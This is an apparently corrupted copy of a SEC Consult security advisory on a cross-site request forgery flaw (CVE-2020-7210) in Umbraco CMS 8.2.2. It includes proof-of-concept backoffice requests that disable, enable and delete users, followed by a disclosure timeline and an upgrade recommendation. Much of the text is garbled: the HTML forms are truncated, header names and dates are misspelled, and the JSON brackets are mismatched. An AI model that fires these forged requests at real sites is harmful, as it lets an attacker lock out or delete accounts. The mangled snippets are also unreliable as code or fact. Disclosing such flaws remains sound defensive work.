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## SEC Consult SA-20200123-0 :: Cross-Site Request Forgery (CSRF) in Umbraco CMS

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From: SEC Consult Vulnerability Lab <research () sec-consult com>
Date: Thu, 23 Jan 2020 15:33:42 +0100
 SEC Consult Vulnerability Lab Security Advisory < 20200123-0 >
 title: Cross-Site Request Forgery (CSRF)
product: Umbraco CMS
vulnerable version: version 8.2.2
fixed version: version 8.5
CVE number: CVE-2020-7210
impact: medium
homepage: https://umbraco.com/
found: October 2019
by: A. Melnikova (Office Moscow)
SEC Consult Vulnerability Lab
                                  An integrated part of SEC Consult
Europe | Asia | North America
"Umbraco 8 is the latest version of Umbraco CMS. It's the fastest and best version of Umbraco and a big step forward in regard to making your work with Umbraco simpler; simpler to extend, simpler to edit, simpler to publish - simpler to use, simpler to enjoy."
Source: https://umbraco.com/products/umbraco-cms/umbraco-8.
Business recommendation:
The vendor provides a patch and users of this product are urged to immediately upgrade to the latest version available.
SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve all security issues.
Vulnerability overview/description:
An attacker can use cross-site request forgery to perform arbitrary web requests with the identity of the victim, without being noticed by the victim. This attack always requires some sort of user interaction, usually the victim needs to click on an attacker-prepared link or visit a page under control of the attacker. Due to this, an attacker is able to enable/disable or delete accounts. This may lead to DoS of user accounts.
Proof of concept:
1) Cross-Site Request Forgery (CSRP)
In a live attack scenario, the following HTML document would be hosted
on a malicious website, controlled by the attacker.
Example 1: HTML-code for disabling user:
<html>
</body>
Request:
[...]
Cookie: <ADMIN-COOKIE>
Response:
HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Cacne-Control: no-store, must-revalidate, no-C
Pragma: no-cache
Content-Length: 112
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Med, 06 Nov 2019 10:57:45 GMT
Connection: close
)]]', {"notifications":[{"header":"<USERNAME> is now disabled","message":"","type":3}],"message":"<USERNAME> is now disabled")
Example 2: HTML-code for enabling user: <html>
```

-POST /umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID> HTTP/1.1 Host: <host-URL>

[...] Cookie: <ADMIN-COOKIE>

```
HTTP/1.1 200 OK Cache-Control: no-store, must-revalidate, no-cache, max-age=0 Pragma: no-cache Content-Length: 110
 Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 06 Nov 2019 10:58:12 GMT
 Connection: close
 )]]',
{"notifications":[{"header":"<USERNAME> is now enabled","message":"","type":3}],"message":"<USERNAME> is now enabled"}
 Example 3: HTML-code for deleting user:
 <html>
<body>
       <input type="submit" value="Submit request" />
</form>
      </body>
 </html>
 Request:
POST /umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID> HTTP/1.1 Host: <nost-URL>
 [...]
Cookie: <ADMIN-COOKIE>
 Response:
 THTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Cacne-Control: NOT-Store, Note:
Pragma: no-cache
Content-Length: 114
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:58:36 GMT
Connection: close
 )]]', ("notifications":[{"header":"User <USERNAME> was deleted","message":"","type":3}],"message":"User <USERNAME> was deleted")
As soon as an authenticated victim (admin) visits a website with this HTML code embedded, the payload would get executed in the context of the victim's session. Although responses to these requests are not delivered to the attacker, in many cases it is sufficient to be able to compromise the integrity of the victim's information stored on the site or to perform certain, possibly compromising requests to other sites.
Vulnerable / tested versions:
 The following version was tested and found to be vulnerable: \star version 8.2.2
Vendor contact timeline:
2019-11-13: Contacting vendor through security () umbraco com.
2019-11-13: Requesting encryption keys.
2019-11-14: Encryption issues.
2019-11-15: Encryption issues, sending advisory in unencrypted form.
2019-11-25: No response, requesting status update.
2019-11-28: Vendor confirmed vulnerability.
2020-01-03: Confirming the release date.
2020-01-14: Release of updated CMS version 8.5.0.
2020-01-23: Release of security advisory.
 Solution:
 The vendor provides an updated version which should be installed immediately: https://our.umbraco.com/download/releases/850
Workaround:
No workaround available.
Advisory URL:
 https://www
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The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
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of new offensive and defensive technologies for our customers. Hence our
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recommendation about the risk profile of new technologies.
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